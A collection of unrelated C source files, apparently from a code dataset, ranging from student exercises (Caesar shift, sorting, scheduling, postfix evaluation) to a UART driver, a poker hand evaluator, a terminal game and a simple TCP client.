int my_convert_into_integer(char c)
{
int index = 0;
int rt_number = 0;
if (c < '0' || c > '9') {
return (-84);
}
for (int i = '0'; i < '9'; i++) {
if (c == i){
rt_number = index;
break;
}
index++;
}
return (rt_number);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
void caesar_encrypt(char slovo[]){
int i = 0;
while (1){
if ('\0' == slovo[i]){
break;
}
slovo[i] += 3;
i++;
}
i = 0;
while (1){
if ('\0' == slovo[i]){
break;
}
printf("%c", slovo[i]);
i++;
}
}
int main(){
char slovo[] = {'Z', 'K', 'O', 'U', 'S', 'K', 'A', '\0'};
caesar_encrypt(slovo);
return 0;
}
|
C
|
/*
* JTSK-32011
* a5_p8.c
* Samundra karki
* sa.karki@jacobs-university.de
*/
#include<stdio.h>
/*
*@breif second_diagonal : prints the element under second diagonal
*@para arr[][]: reads the array given by main function
*@para number : size of the array
* */
int under_diagonal(int arr[30][30], int number);
int main(){
int array [30][30];
int number;
scanf("%d",&number);
getchar();
for (int i =0; i<number; i++){
for(int j=0; j<number; j++){
scanf("%d",&array[i][j]);
getchar();
}
}
printf("The entered matrix is:\n");
for(int i = 0; i <number; i++){
for (int j = 0; j<number; j++){
printf("%d ", array[i][j]);
}
printf("\n");
}
under_diagonal(array,number);
return 0;
}
int under_diagonal(int arr[30][30], int number){
printf("Under the secondary diagonal:\n");
for(int i = 0; i<number; i++){
for (int j = 0; j<number; j++){
int sum = i+j;
if(sum>=number){
printf("%d ",arr[i][j]);
}
}
}
printf("\n");
return 0;
}
|
C
|
#include<stdio.h>
void main()
{
int a;
int c;
scanf("%d",&a);
c=a*60;
printf("%d",c);
}
|
C
|
#include <stdio.h>
void add(int* num, int a)
{
*num += a;
}
void subtract(int* num, int a)
{
*num -= a;
}
void multiply(int* num, int a)
{
*num *= a;
}
void divide(int* num, int a)
{
*num /= a;
}
int main()
{
int num = 10;
add(&num,4);
printf("%i \n",num);
subtract(&num, 7);
printf("%i \n",num);
multiply(&num, 100);
printf("%i \n",num);
divide(&num, 2);
printf("%i \n",num);
return 0;
}
|
C
|
/** An option intended for scanning purposes in order for the robot to determine
* several things regards its surroundings.
* What if there is no target? Maybe it should look forward then?
*/
// (const Vector3f&) (Vector3f)
option(LookAtBall, (const Vector3f&)(Vector3f::Zero()) target, (float)(pi) speed)
{
/* Simply sets the necessary anglVector3f::Zero()es
initial_state(lookForward)
{
transition
{
if(state_time > 200)
{
goto lookBall;
}
}
}
*/
initial_state(lookAtBall)
{
transition
{
if(target == Vector3f::Zero())
{
// We should do a look forward instead.
OUTPUT_TEXT("(target == Vector3f::Zero() so look forward");
LookForward();
}
}
action
{
/* > Pan is from side to side. As a result of this the +0.90 degres is to the left of
* the robot, while -0.90 is to the right.
* > Tilt is from up and down. This time the + is for the down ward movement of the
* robots head while the - moves the robot head upwards.
* > The last parameter is the speed that the robot is asked to do the head movement.
*/
// Do we want to make the speed relative to the distance? There was some oscilation occuring during suddent movements. Also we need to add an threshold.
// Need to get the current angle and the new one.
// SetHeadPanTilt(theBallModel.estimate.position.angle(), 0.34f ,135_deg);
/*We can specify the absolute angels of the head joints (option SetHeadPanTilt), a position on the field (option SetHeadTargetOnGround),
or a position relative to the robot (option SetHeadTarget). */
// Changed the order of the functions variables.
SetHeadTarget(target, 150_deg);
//SetHeadTarget((target.x(),target.y(),0.f), 150_deg);
}
}
}
|
C
|
/*
** EPITECH PROJECT, 2019
** main
** File description:
** main
*/
#include "my.h"
void init_struct(infos_t *inf, char *map, char *filepath)
{
inf->filepath = filepath;
inf->state_p = 0, inf->state_x = 0, inf->nb_x = get_nb_x(map);
initscr(), inf->lines = get_nb_lines(map), get_x(inf, map);
inf->len_line = my_strlen(map, 0);
inf->middle_x = COLS/2 - (inf->len_line/2);
inf->middle_y = LINES/2 - (inf->lines/2);
inf->win = 0, inf->lose = 0;
}
void move_player(int ch, char *map, infos_t *inf, WINDOW *window)
{
switch (ch) {
case KEY_UP :
map = move_up(map, inf);
mvwprintw(window, 0, 0, map);
break;
case KEY_DOWN :
map = move_down(map, inf);
mvwprintw(window, 0, 0, map);
break;
case KEY_LEFT :
map = move_left(map, inf);
mvwprintw(window, 0, 0, map);
break;
case KEY_RIGHT :
map = move_right(map, inf);
mvwprintw(window, 0, 0, map);
break;
}
}
void game_loop(int ch, infos_t *inf, WINDOW *window, char *map)
{
if (COLS > inf->len_line && LINES > inf->lines) {
wclear(window), wrefresh(window), mvwin(window, inf->middle_y,
inf->middle_x);
mvwprintw(window, 0, 0, map);
move_player(ch, map, inf, window), wrefresh(window);
}
else {
clear(), wrefresh(window);
mvprintw(LINES/2, COLS/2, "SMALL !");
refresh();
}
}
void print_map(char *map, infos_t *inf)
{
int ch = 0;
WINDOW *window = newwin(inf->lines,
inf->len_line, inf->middle_y, inf->middle_x);
wprintw(window, map), wrefresh(window), noecho(), keypad(window, 1);
while (!win(inf) && !lose(inf, map)) {
ch = wgetch(window);
if (ch == ' ') {
map = adapt(inf->filepath);
get_x(inf, map), mvwprintw(window, 0, 0, map), inf->state_p = 0;
}
game_loop(ch, inf, window, map);
inf->middle_x = COLS/2 - (inf->len_line/2);
inf->middle_y = LINES/2 - (inf->lines/2);
}
delwin(window), endwin();
free(map);
}
int main(int ac, char **av)
{
char *map;
infos_t inf;
if (ac == 2 && (av[1][0] == '-' && av[1][1] == 'h'))
message();
else if (ac == 2) {
map = adapt(av[1]);
init_struct(&inf, map, av[1]);
print_map(map, &inf);
if (inf.win == 1) {
return (0);
}
}
else {
write(2, "WRONG ARG", 9);
return (84);
}
return (1);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define SERVPORT 3333
int main(int argc, char *argv[])
{
int sockfd = 0, sendbytes = 0, num = 0;
char buf[100] = {0};
struct hostent *host = NULL;
struct sockaddr_in serv_addr = {0};
if(argc < 2)
{
fprintf(stderr, "Please enter the server's hostname!\n");
exit(1);
}
/*地址解析函数*/
if((host = gethostbyname(argv[1])) == NULL)
{
perror("gethostbyname");
exit(1);
}
/*创建socket*/
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
/*设置sockaddr_in结构体中相关函数*/
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(SERVPORT);
serv_addr.sin_addr = *((struct in_addr*)host->h_addr);
bzero(&(serv_addr.sin_zero), 8);
/*调用connect函数主动发起对服务器端的连接*/
if(connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr)) == -1)
{
perror("connect");
exit(1);
}
while(1)
{
/*发送消息给服务器端*/
memset(buf, 0, sizeof(buf));
printf("Please enter a string no.%d:", num);
scanf("%s", buf);
if((sendbytes = send(sockfd, buf, strlen(buf), 0)) == -1)
{
perror("send");
exit(1);
}
num++;
}
close(sockfd);
}
|
C
|
typedef struct {
int val;
int col;
} Card;
Card* merge(Card* a, Card* b) {
Card *c = (Card*) malloc(sizeof(Card) * 5);
c[0] = a[0];
c[1] = a[1];
int i = 0;
for(i = 2; i < 5; i++) {
c[i] = b[i-2];
}
return c;
}
char* cardToString(Card c) {
char* result = malloc(sizeof(char) * 100);
char val[10];
switch(c.val) {
case 1:
strcat(result, "As");
break;
case 11:
strcat(result, "Valet");
break;
case 12:
strcat(result, "Dame");
break;
case 13:
strcat(result, "Roi");
break;
default:
sprintf(val, "%d", c.val);
strcat(result, val);
break;
}
switch(c.col) {
case 1:
strcat(result, " de pique.");
break;
case 2:
strcat(result, " de carreau.");
break;
case 3:
strcat(result, " de trèfle.");
break;
case 4:
strcat(result, " de coeur.");
break;
}
return result;
}
Card* createDeck() {
Card* deck = (Card*) malloc(sizeof(Card) * 52);
int i = 0, y = 0, c = 0;
for(i = 1; i <= 4; i++) {
for(y = 1; y <= 13; y++) {
deck[c].col = i;
deck[c].val = y;
c++;
}
}
return deck;
}
Card getFromDeck(Card* deck, int index, int length) {
int i;
Card c = deck[index];
if(length == 1) {
free(deck);
return c;
}
for(i = index; i < length - 1; i++) deck[i] = deck[i + 1];
Card *tmp = (Card*) realloc(deck, (length - 1) * sizeof(Card));
if (tmp == NULL && length > 1) {
/* No memory available */
exit(EXIT_FAILURE);
}
deck = tmp;
return c;
}
void addToDeck(Card* deck, Card c, int length) {
Card* tmp = (Card*) realloc(deck, (length + 1) * sizeof(Card));
tmp[length] = c;
deck = tmp;
}
bool pair(Card* croupier, Card* hand) {
Card* c = merge(hand, croupier);
int i = 0, y = 0, count = -5;
for(y = 0; y < 5; y++) {
for(i = 0; i < 5; i++) {
if(c[i].val == c[y].val) {
count++;
}
}
}
free(c);
return (count == 2);
}
bool twoPair(Card* croupier, Card* hand) {
Card* c = merge(hand, croupier);
int i = 0, y = 0, count = -5;
for(y = 0; y < 5; y++) {
for(i = 0; i < 5; i++) {
if(c[i].val == c[y].val) {
count++;
}
}
}
free(c);
return (count == 4);
}
bool threeOfKind(Card* croupier, Card* hand) {
Card* c = merge(hand, croupier);
int i = 0, y = 0, count = 0, current = 0;
for(y = 0; y < 5; y++) {
current = c[y].val;
for(i = 0; i < 5 ; i++) {
if(current == c[i].val) {
count++;
}
}
if(count == 3) {
free(c);
return true;
} else {
count = 0;
}
}
free(c);
return false;
}
bool flush(Card* croupier, Card* hand) {
Card* c = merge(hand, croupier);
int i = 0, y = 0, count = 0, current = 0;
for(y = 0; y < 5; y++) {
current = c[y].col;
for(i = 0; i < 5 ; i++) {
if(current == c[i].col) {
count++;
}
}
if(count == 5) {
free(c);
return true;
} else {
count = 0;
}
}
free(c);
return false;
}
Card* higherHand(Card* croupier, Card** hands, int nbHands) {
Card* result = NULL;
int i = 0, higher = 0, current = 0;
for(i = 0; i < nbHands; i++) {
current = handValue(croupier, hands[i]);
if(higher < current) {
higher = current;
result = hands[i];
}
}
return result;
}
int handValue(Card* croupier, Card* hand) {
int higher = 0;
if(flush(croupier, hand)) {
higher = 4;
}
if(higher < 3 && threeOfKind(croupier, hand)) {
higher = 3;
}
if(higher < 2 && twoPair(croupier, hand)) {
higher = 2;
}
if(higher < 1 && pair(croupier, hand)) {
higher = 1;
}
return higher;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int vector[100];
int i, j, sw, aux;
srand(time(NULL));
for(i=0;i<100;i++)
{
vector[i]= rand()%401+100;
printf("%d\n", vector[i]);
}
for(i=0;i<=99;i++)
{
sw = 0;
for(j=100;j>=i+1;j--)
{
if(vector[j-1]>vector[j]){
sw=1;
aux = vector[j-1];
vector[j-1]= vector[j];
vector[j]=aux;
}
}
if(sw==0){
break;
}
}
printf("vector ordenado\n");
for(i=0;i<=99;i++)
{
printf("%4d\t", vector[i]);
}
puts("");
printf("Los menores son:\n");
for(i=0;i<=9;i++)
{
printf("%4d\t", vector[i]);
}
puts("");
printf("Los mayores son: \n");
for(i=90;i<=99;i++)
{
printf("%4d\t", vector[i]);
}
return 0;
}
|
C
|
#include <stdio.h>
int main()
{
int n, arr[20], burst[20], tq, t, b = 0, p[20], i, wt[20], c[20];
float awt, tat;
printf("enter the number of processes");
scanf("%d", &n);
for (i = 0; i < n; i++) {
printf("enter arrival and burst time for process %d", i);
scanf("%d %d", &arr[i], &burst[i]);
b = b + burst[i];
wt[i] = 0;
p[i] = arr[i];
c[i] = 0;
}
printf("enter the time quantum");
scanf("%d", &tq);
t = 0;
while (b != t) {
for (i = 0; i < n; i++) {
if (arr[i] <= t && c[i] < burst[i]) {
if (t != p[i]) {
wt[i] = wt[i] + t - p[i];
}
t = t + tq;
p[i] = t;
c[i] = c[i] + tq;
}
}
}
for (i = 0; i < n; i++) {
awt = awt + wt[i];
}
tat = (awt + b)/n ;
awt = awt / n;
printf("avg waiting time and turn around time is %f and %f", awt, tat);
getch();
return 0;
}
|
C
|
/*****************************
* Marc Schaufelberger *
* HTW CHUR *
* 4. Nov 2018 *
* int main(void) & static int
******************************/
#include <stdio.h>
int main() /* Würde mit main(void) in diesem Fall nicht gehen, da später main(10) zurück kommt. */
{
static int i = 5; /* Variable wird nicht jedes Mal neu gesetzt. */
if (--i){ /* Bedeutet so viel wie if(--i != false) - wird bei 0 beendet. */
printf("%d ", i);
main(10);
}
}
/* Output: 4 3 2 1 */
|
C
|
#include<stdio.h>
void quotientandremainder(int dividend, int divisor) {
int quotient, remainder;
quotient = dividend / divisor; // finds the quotient
remainder = dividend % divisor; // finds the remainder
printf("The quotient is %d\n", quotient);
printf("The remainder is %d\n", remainder);
}
|
C
|
/*
* uart.c
*
* Created: 25-May-21 8:24:15 PM
* Author: fedea
*/
#include "uart.h"
static unsigned char TXindice_lectura=0, TXindice_escritura=0;
static unsigned char RX_Index=0;
static char TX_Buffer[TX_BUFFER_LENGTH];
static char RX_Buffer[RX_BUFFER_LENGTH];
static char RX_Buf_Cpy[RX_BUFFER_LENGTH]; //copia de rx buffer para enviar a quienes pidan el buffer
#ifdef ECO_DEBUG
volatile unsigned char eco=0;
#endif
volatile unsigned char imprimiendoMensaje=0;
volatile unsigned char flag_hayString=0;
static ERROR_CODES Error_code;
/*
Compilacion condicional
#ifdef ECO_DEBUG
printEcho(); -> solo si esta definido ECO_DEBUG
#else
//nada
#endif
*/
void UART_Init(uint8_t baud_rate,uint8_t TxEnable,uint8_t RxEnable){
// config = 0x33 ==> Configuro UART 9600bps, 8 bit data, 1 stop @ F_CPU = 8MHz.
// config = 0x25 ==> Configuro UART 9600bps, 8 bit data, 1 stop @ F_CPU = 4Hz.
//Utilizo las funciones de la librera que encapsula el hardware
SerialPort_Init(baud_rate);
if(TxEnable){
SerialPort_TX_Enable();
}
if(RxEnable){
SerialPort_RX_Enable();
SerialPort_RX_Interrupt_Enable();
}
}
/*
//Prints str on terminal
void UART_PrintString(const char* str){
//TO DO
TXindice_lectura=0;
TXindice_escritura=0;
for(uint8_t i=str;i!='\0';i++){
*i=TX_Buffer[TXindice_lectura++];
}
imprimiendoMensaje=1;
SerialPort_TX_Interrupt_Enable();
return 0;
}
*/
void UART_PrintString( const char* STR_PTR )
{
unsigned char i = 0;
while(STR_PTR[i]!='\0')
{
UART_Write_Char_To_Buffer(STR_PTR[i]);
i++;
}
imprimiendoMensaje=1;
SerialPort_TX_Interrupt_Enable();
//SerialPort_RX_Interrupt_Disable(); //podria deshabilitar la escritura mientras
}
void UART_Write_Char_To_Buffer(const char data)
{
if(TXindice_escritura < TX_BUFFER_LENGTH)
{
TX_Buffer[TXindice_escritura] = data;
TXindice_escritura++;
}
else
{
// Write buffer is full --> TO-DO a futuro: manejos de error de librera
Error_code= ERROR_UART_FULL_BUFF;
}
}
char* UART_GetString(){
strcpy(RX_Buf_Cpy,RX_Buffer);
return RX_Buf_Cpy; //envio la copia del buffer
}
unsigned char UART_Error_Full_Buffer(){
return Error_code == ERROR_UART_FULL_BUFF;
}
unsigned char UART_HayString(){
if(flag_hayString){
flag_hayString=0;
return 1;
}
else{
return 0;
}
}
ISR (USART_RX_vect){
volatile unsigned char dato=SerialPort_Recive_Data();
if(dato!='\r'){
if(RX_Index<RX_BUFFER_LENGTH-1){
RX_Buffer[RX_Index++] = dato;
#ifdef ECO_DEBUG
eco=1;
SerialPort_TX_Interrupt_Enable();
#endif
}
}
else{
RX_Buffer[RX_Index++]='\0';
RX_Index=0;
#ifdef ECO_DEBUG
UART_PrintString("\n\r");
#endif
flag_hayString=1;
}
}
ISR(USART_UDRE_vect){
#ifdef ECO_DEBUG
if(eco){
SerialPort_Send_Data(RX_Buffer[(RX_Index-1)]);
eco=0;
SerialPort_TX_Interrupt_Disable();
}
#endif
if(imprimiendoMensaje){
if(TXindice_lectura<TXindice_escritura){
SerialPort_Send_Data(TX_Buffer[TXindice_lectura++]);
}
else{
//ya no tengo mas para escribir
imprimiendoMensaje=0;
TXindice_lectura=0;
TXindice_escritura=0;
Error_code = ERROR_UART_NONE; //al reiniciarse el buffer ya no hay errores (igual no manejamos esto)
SerialPort_TX_Interrupt_Disable();
//SerialPort_RX_Interrupt_Enable(); //podriamos deshabilitar y habilitar lectura de teclado mientras se escribe msj
}
}
}
|
C
|
//
// Created by Greg Steinbrecher on 1/31/16.
//
#ifndef __STDC_FORMAT_MACROS
#define __STDC_FORMAT_MACROS
#endif
#include <stdio.h>
#include <stdlib.h>
#include "pq_dump.h"
int main(int argc, char *argv[]) {
// Check to make sure we got an input file (and nothing else) from command line
int retcode = 0, err = 0;
if (argc > 2) {
fprintf(stderr, "Error: Too many inputs.\n");
err = -1;
} else if (argc < 2) {
fprintf(stderr, "Error: Missing input file.\n");
err = -2;
}
if (err < 0) {
fprintf(stderr, "Usage: %s [input_file]\n", argv[0]);
exit(err);
}
pq_fb_t fb;
retcode = pq_fb_init(&fb, argv[1]);
if (retcode < 0) {
fprintf(stderr, "ERROR: pq_fb_init returned %d\n", retcode);
exit(retcode);
}
ttd_t time;
size_t channel;
while (!(fb.empty)) {
pq_fb_get_next(&fb, &time, &channel);
printf("%lu: %" PRIu64 "\n", channel, time);
}
pq_fb_cleanup(&fb);
exit(0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <mpir.h>
#include "flint.h"
#include "fmpz.h"
#include "ulong_extras.h"
#include "mpoly.h"
int
main(void)
{
int i, result;
flint_rand_t state;
ctx_t ctx;
printf("all... ");
fflush(stdout);
_randinit(state);
ctx_init_long(ctx);
{
mpoly_t a, b;
char *s;
mpoly_init(a, 3, ctx);
mpoly_init(b, 3, ctx);
mpoly_set_str(a, "3 (3)[1 2 3]", ctx);
s = mpoly_get_str(a, ctx);
mpoly_set_str(b, s, ctx);
result = mpoly_equal(a, b, ctx);
if (!result)
{
printf("FAIL:\n\n");
printf("a = "), mpoly_print(a, ctx), printf("\n");
printf("b = "), mpoly_print(b, ctx), printf("\n");
printf("s = %s\n", s);
abort();
}
mpoly_clear(a, ctx);
mpoly_clear(b, ctx);
free(s);
}
ctx_clear(ctx);
_randclear(state);
_fmpz_cleanup();
printf("PASS\n");
return EXIT_SUCCESS;
}
|
C
|
# include <stdio.h>
# include <stdlib.h>
# include <limits.h>
int stack[20];
int top = -1;
void push(int x){
stack[++top] = x;
}
int pop(){
if(top == -1)
return INT_MIN; //Using this as End of stack number
return stack[top--];
}
int calPostfix(char exp[]){
char *c = exp;
int val1, val2, res;
while(*c != '\0'){
if(*c >= 48 && *c <= 57){
push((*c)-'0');
}
else{
val1 = pop();
val2 = pop();
if(*c == '+')
res = val1 + val2;
else if(*c == '-')
res = val1 - val2;
else if(*c == '*')
res = val1 * val2;
else
res = val1 / val2;
push(res);
}
c++;
}
return pop();
}
int main(){
char exp[20];
printf("Enter the postfix expression: ");
scanf("%s", exp);
printf("%d\n", calPostfix(exp));
return 0;
}
|
C
|
/*
** EPITECH PROJECT, 2020
** tetris
** File description:
** clock
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
#include "fae.h"
#include "tetris.h"
#include "ncurses.h"
#include "game.h"
void clock_init(clockss_t *timer)
{
timer->start = clock();
timer->current = 0;
}
void clock_update(clockss_t *timer)
{
timer->current = (double)(clock() - timer->start) / CLOCKS_PER_SEC;
}
int clock_get_second(clockss_t timer)
{
return (int)timer.current;
}
int clock_get_minute(clockss_t timer)
{
return (int)(timer.current / 60);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
/* variable declaration */
int i;
int *result_M_over19=0x300B0;
int *result_over18 =0x300D0;
/* Initialize bitmap */
int *v_age16 = 0x30000;
int *v_age17 = 0x30018;
int *v_age18 = 0x30030;
int *v_age19 = 0x30048;
int *v_age20 = 0x30060;
int *v_genderM = 0x30078;
int *v_genderF = 0x30090;
v_genderM[0]=0x00000000; v_genderM[1]=0x00000000; v_genderM[2]=0x00000000; v_genderM[3]=0xFFFFFFFF; v_genderM[4]=0xFFFFFFFF; v_genderM[5]=0xFFFFFFFF;
v_genderF[0]=0xFFFFFFFF; v_genderF[1]=0xFFFFFFFF; v_genderF[2]=0xFFFFFFFF; v_genderF[3]=0x00000000; v_genderF[4]=0x00000000; v_genderF[5]=0x00000000;
v_age16[0] =0x00000000; v_age16[1] =0x00000000; v_age16[2] =0x0000FFFF; v_age16[3] =0x00000000; v_age16[4] =0x00000000; v_age16[5] =0x0000FFFF;
v_age17[0] =0x00000000; v_age17[1] =0x00000000; v_age17[2] =0xFFFF0000; v_age17[3] =0x00000000; v_age17[4] =0x00000000; v_age17[5] =0xFFFF0000;
v_age18[0] =0x00000000; v_age18[1] =0x0000FFFF; v_age18[2] =0x00000000; v_age18[3] =0x00000000; v_age18[4] =0x0000FFFF; v_age18[5] =0x00000000;
v_age19[0] =0x00000000; v_age19[1] =0xFFFF0000; v_age19[2] =0x00000000; v_age19[3] =0x00000000; v_age19[4] =0xFFFF0000; v_age19[5] =0x00000000;
v_age20[0] =0xFFFFFFFF; v_age20[1] =0x00000000; v_age20[2] =0x00000000; v_age20[3] =0xFFFFFFFF; v_age20[4] =0x00000000; v_age20[5] =0x00000000;
/* Initialise results to 0 */
for(i=0; i<6; i++) {
result_M_over19[i] = 0;
result_over18[i] = 0;
}
/* Query: identify male people that are 19 or 20 */
for(i=0; i<6; i++) {
result_M_over19[i] = v_genderM[i] & (v_age19[i] | v_age20[i]);
}
/* Query: identify people that are older than 18 */
for(i=0; i<6; i++) {
result_over18[i] = ~v_age16[i] & ~v_age17[i] ;
}
return EXIT_SUCCESS;
}
|
C
|
#include <stdio.h>
int main() {
int num1, num2, num3;
int i,j,sum=0;
int arr[10];
scanf("%d", &num1);
for (i = 0; i < num1; i++) {
scanf("%d", &num2);
for (j = 0; j < num2; j++) {
scanf("%d", &num3);
sum += num3;
}
arr[i] = sum;
sum = 0;
}
for (i = 0; i < num1; i++)
printf("%d\n", arr[i]);
return 0;
}
|
C
|
#include "syntaxique.h"
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//Création d'un arbre vide
Arbre creer_arbre (){
return NULL;
}
void erreur(typejeton Tab[], int* i, int *e) {
(*e)++;
Tab[*i].lexem = ERREUR;
Tab[*i].valeur.erreur = SYNTAXIQUE;
}
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//Insertion d'un noeud
Arbre creer_noeud( typejeton jeton, Arbre fils_gauche, Arbre fils_droit ) {
Arbre resultat = creer_arbre();
resultat = (Arbre)malloc( sizeof( struct Noeud ) );
resultat->jeton.lexem = jeton.lexem;
switch(jeton.lexem){
case REEL:
resultat->jeton.valeur.reel = jeton.valeur.reel;
break;
case VARIABLE:
case PAR_OUV:
case PAR_FERM:
case FIN:
break;
case FONCTION:
resultat->jeton.valeur.fonction = jeton.valeur.fonction;
break;
case OPERATEUR:
resultat->jeton.valeur.operateur = jeton.valeur.operateur;
break;
case ERREUR:
resultat->jeton.valeur.erreur = jeton.valeur.erreur;
break;
default: break;
}
resultat->fils_gauche = fils_gauche;
resultat->fils_droit = fils_droit;
return resultat;
}
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//Gestion du cas : réel
Arbre reel(typejeton Tab[], int* i){
Arbre A;
A = creer_noeud(Tab[*i],NULL,NULL);
*i = *i + 1;
return A;
}
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//Gestion du cas : fonction
Arbre fct(typejeton Tab[], int* i){
typejeton racine;
racine.lexem = Tab[*i].lexem;
racine.valeur = Tab[*i].valeur;
*i = *i + 1;
Arbre A = creer_noeud(racine, NULL, AS(Tab, i));
return A;
}
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//Gestion du cas : parenthèse ouverte
Arbre par_ouv(typejeton Tab[], int* i, int* e){
Arbre A, fg, fd = NULL;
typejeton racine;
*i = *i + 1;
fg = AS(Tab, i);
if(Tab[*i].lexem == PAR_FERM) {
return fg;
} else if (Tab[*i].lexem == FIN) {
erreur(Tab, i, e);
return NULL;
}
if(Tab[*i].lexem == OPERATEUR){
racine.lexem = Tab[*i].lexem;
racine.valeur = Tab[*i].valeur;
*i = *i + 1;
} else {
erreur(Tab, i, e);
}
//Erreur si on a deux opérateurs à la suite
if(Tab[*i].lexem == OPERATEUR) {
erreur(Tab, i, e);
}
fd = AS(Tab, i);
A = creer_noeud(racine,fg,fd);
if(Tab[*i].lexem == PAR_FERM){
*i = *i + 1;
} else {
//Si on a plus de deux réels ou variables dans une parenthèse
erreur(Tab, i, e);
}
return A;
}
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//Remplissage de l'arbre
Arbre AS(typejeton Tab[], int* i){
Arbre A = NULL;
int erreurs = 0;
int* e = &erreurs;
switch(Tab[*i].lexem){
//------------------------------------------------------------------
case PAR_OUV:
A = par_ouv(Tab, i, e);
break;
//------------------------------------------------------------------
case REEL:
case VARIABLE:
A = reel(Tab, i);
break;
//------------------------------------------------------------------
case FONCTION:
A = fct(Tab, i);
break;
//------------------------------------------------------------------
default:
erreur(Tab, i , e);
}
if (*e == 0 && Tab[*i].lexem == FIN) {
return A;
} else if (*e != 0) {
printf("Erreur syntaxique a %d \n", (*i+1));
main();
//return NULL;
//relancer la 1er fonction.
} else {
return A;
}
}
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
void afficher(Arbre a) {
if(a == NULL){
printf("||\n");
return;
}
else{
switch(a->jeton.lexem){
case REEL:
printf("%d|%f\n",a->jeton.lexem, a->jeton.valeur.reel);
break;
case VARIABLE:
printf("%d|%c\n",a->jeton.lexem, 'x');
break;
case FONCTION:
printf("%d|%d\n",a->jeton.lexem, a->jeton.valeur.fonction);
break;
case OPERATEUR:
printf("%d|%d\n",a->jeton.lexem, a->jeton.valeur.operateur);
break;
case ERREUR:
printf("%d|%d\n",a->jeton.lexem, a->jeton.valeur.erreur);
break;
default: break;
}
}
afficher(a->fils_gauche);
afficher(a->fils_droit);
}
/*
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
int main(){
int i = 0;
int* p = &i;
typejeton tab_test[100];
Arbre A;
tab_test[0].lexem = PAR_OUV;
tab_test[1].lexem = REEL;
tab_test[1].valeur.reel = 2;
tab_test[2].lexem = OPERATEUR;
tab_test[2].valeur.reel = PLUS;
tab_test[3].lexem = REEL;
tab_test[3].valeur.reel = 2;
tab_test[4].lexem = PAR_FERM;
tab_test[5].lexem = FIN;
A = AS(tab_test, p);
afficher(A);
return 0;
}*/
|
C
|
#include <unistd.h>
#include <stdio.h>
int main(int argc, char** argv) {
int opt;
while ((opt = getopt(argc, argv, ":t:")) != -1) {
switch(opt) {
case 't':
printf("OptOpt: %c\nArgument: %s\n", optopt, optarg);
break;
case ':':
printf("Missing argument!\n");
break;
case '?':
printf("This is a test of getopt. The only supported option is -t,"
" which needs an argument.\n");
break;
}
}
return 0;
}
|
C
|
#include "stdio.h"
#include "SDL.h"
const int WIN_WIDTH = 640;
const int WIN_HEIGHT = 400;
int main (int argc, char* args[])
{
SDL_Window* window = NULL;
SDL_Surface* surface = NULL;
int INPUT;
if (SDL_Init (SDL_INIT_VIDEO) < 0)
{
printf ("SDL did't work ERROR:%s\n",SDL_GetError());
return -1;
};
window = SDL_CreateWindow("WINDOW_TITLE",SDL_WINDOWPOS_UNDEFINED,SDL_WINDOWPOS_UNDEFINED,WIN_WIDTH,WIN_HEIGHT,SDL_WINDOW_SHOWN);
if (window == NULL)
{
printf ("SDL_CreateWindow did't work ERROR:%s\n",SDL_GetError());
};
scanf("%d",&INPUT);
printf ("SDL Working\n");
return 0;
};
|
C
|
/*
** EPITECH PROJECT, 2017
** my_printf
** File description:
** .c
*/
#include <stdio.h>
#include <stdarg.h>
#include "printf.h"
int compare(char *str, int *i, va_list list, int *count)
{
specifier_simple(str, *i, list, count);
(*i)++;
return (0);
}
int my_printf(char *str, ...)
{
va_list list;
int i = 0;
int count = 0;
va_start(list, str);
while (str[i] != '\0') {
if (str[i] == '%') {
compare(str, &i, list, &count);
} else
my_putchar_print(str[i], &count);
i++;
va_end(list);
}
return (count);
}
|
C
|
/*
*
* mandelbrot.h
* mandelbrot server
*
* Created by Richard Buckland on 13/04/13.
* Licensed under Creative Commons BY 3.0.
*
*/
/*
#include <math.h>
#define ESCAPED 1
#define STAYED 0
#define RANGE 2
typedef struct _complex {
double real;
double imaginary;
} complex;
*/
int escapeSteps(double x, double y);
/*
int modulus(complex complexNum);
//function that counts how many iteration to escape
int escapeSteps(double x, double y) {
complex point = {x, y};
complex pointTemp = {x, y};
complex constant = {x, y};
int steps = 1;
while(modulus(point) == STAYED && steps <= 255) {
pointTemp.real = point.real;
pointTemp.imaginary = point.imaginary;
point.real = pointTemp.real*pointTemp.real - pointTemp.imaginary*pointTemp.imaginary +
constant.real;
point.imaginary = pointTemp.imaginary*pointTemp.real*2 + constant.imaginary;
steps++;
}
return steps;
}
// function that calculates the modulus of a point
int modulus(complex complexNum) {
double real = complexNum.real;
double imaginary = complexNum.imaginary;
double modulus;
modulus = sqrt(real*real + imaginary*imaginary);
printf("%f\n", modulus);
int test;
test = 0;
if(modulus <= RANGE) {
test = STAYED;
} else {
test = ESCAPED;
}
return test;
}
*/
|
C
|
#include "bs_tree.h"
bs_tree_node *_bs_tree_find_node(bs_tree_node *node, void *value, bs_tree_cmp cmp)
{
if (!node) {
return NULL;
}
int result = cmp(value, node->value);
if (result == 0) {
return node;
} else if (result < 0) {
return _bs_tree_find_node(node->left, value, cmp);
} else if (result > 0) {
return _bs_tree_find_node(node->right, value, cmp);
}
return NULL;
}
bs_tree_node *_bs_tree_find_min_node(bs_tree_node *node)
{
bs_tree_node *min_node = node;
while (min_node->left != NULL) {
min_node = min_node->left;
}
return min_node;
}
